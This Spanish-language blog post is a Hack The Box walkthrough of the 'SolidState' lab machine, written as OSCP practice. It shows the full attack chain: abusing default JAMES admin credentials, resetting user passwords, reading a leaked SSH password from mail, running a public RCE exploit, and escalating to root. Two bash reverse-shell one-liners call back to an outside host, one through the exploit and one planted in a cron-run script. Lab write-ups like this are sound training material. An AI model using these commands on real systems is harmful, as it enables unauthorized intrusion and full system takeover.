Road to OSCP - Hack The Box Write Up - Solidstate

Blog

17
- Febr
2020
Road to OSCP - Hack The Box Write Up - Solidstate

Hack the Box es una plataforma en línea para probar y mejorar tus habilidades en pruebas de penetración y ciberseguridad.

En esta serie de artículos mostraremos cómo los evaluadores junior completan algunas máquinas de Hack The Box en su camino hacia OSCP, una certificación muy conocida, respetada y requerida para muchos puestos de ciberseguridad. Los certificados OSCP son capaces de identificar las vulnerabilidades existentes y ejecutar ataques organizados de manera controlada. Pueden aprovechar o modificar el código de exploits existentes en su beneficio, realizar pivoting en la red y exfiltrar datos, y comprometer los sistemas debido a configuraciones deficientes.

¡Empecemos con la diversión!

SolidState

Initial Foothold

Después de una enumeración normal no encontramos nada de interés. Tenemos que hacer un escaneo completo con nmap, que ...y que se produzca un nuevo puerto: 4555 rsip.

Luego hacemos nmap -sC -sV -p 4555 10.10.10.51, lo que da como resultado lo siguiente: 4555/tcp open james-admin JAMES Remote Admin 2.3.2.

Buscando en Google james remote admin 2.3.2 encontramos un exploit de python para James Server 2.3.2 con RCE. Tira del exploit: searchsploit -x 35513.py y renómbralo: mv 35513.py exploit.py.

Parece que el payload del exploit se ejecuta una vez que el usuario se conecta, así que tenemos que encontrar cómo hacerlo primero.

Analizando el exploit, vemos que accede al James Remote Admin con las credenciales por defecto root:root. Podemos acceder a ella nosotros mismos haciendo: telnet 10.10.10.51 4555.

User

Una vez allí, podemos usar help para listar los comandos disponibles. Uno de ellos destaca: listusers, que da lugar a una lista de usuarios. Desde aquí, podemos intentar restablecer sus contraseñas con el comando setpassword [username] [password].

Reajustamos la contraseña de cada uno a su propio nombre, por ejemplo, james:james". Ahora podemos acceder a su buzones de correo usando el protocolo POP3. Ninguno de ellos tiene nada relevante excepto mindy.

  1. telnet 10.10.10.51 110
  2. USER mindy
  3. PASS mindy
  4. LIST -> Outputs 2 emails.

El segundo correo contiene las credenciales de Mindy.

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first
login.  Your access is restricted at the moment, feel free to ask your supervisor to add any
commands you need to your path.

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

La contraseña para el usuario Mindy es: P@55W0rd1!2@. Ahora podemos entrar como Mindy a través de ssh: ssh mindy@10.10.10.51.

Root

Sin embargo, ya que podemos entrar ahora, podemos activar la carga del script python que encontramos antes. Cambiar el payload a: '[ "$(id -u)" == "0" ] && bash -c "bash -i >& /dev/tcp/10.10.14.44/12345 0>&1"'

Ahora, para activar el payload:

  1. Ejecuta el script (python2): python exploit.py 10.10.10.51.
  2. Configurar la escucha: ncat -lnvp 12345.
  3. Inicie sesión a través de ssh: ssh mindy@10.10.10.51.

Obtenemos una shell sin restricciones como usuario mindy.

Descargando y ejecutando bash lse.sh -l1 vemos que tenemos acceso de escritura a /opt/tmp.py. Haciendo un una prueba bastante buena con un os.system("touch /tmp/test.txt") revela que el script está siendo ejecutado durante tres minutos.

Cambie la orden por: os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.44/6969 0>&1'") configure un puerto escucha y a esperar a que la shell de root aparezca.

Ángel Guzmán/Evaluador Junior

Grado y Master en Ingeniería de Tecnologías de Telecomunicación por la Universidad de Granda, especializado en telématica. Se unió a jtsec en noviembre de 2019 como evaluador de ciberseguridad Junior.

Desde su unión a jtsec, ha participado en varios proyectos internos de hardware hacking y ha recibido formación sobre la certificación LINCE.

Su principal motivación es aprender, desde pequeñas herramientas para su trabajo diario hasta nuevas tecnologías.


Contacto

¡Envíanos tus dudas o sugerencias!

Al enviar tus datos nos permites que los usemos para resolver tus dudas enviándote información comercial de tu interés. Los suprimiremos cuando dejen de ser necesarios para esto. Infórmate de tus derechos en nuestra Política de Privacidad.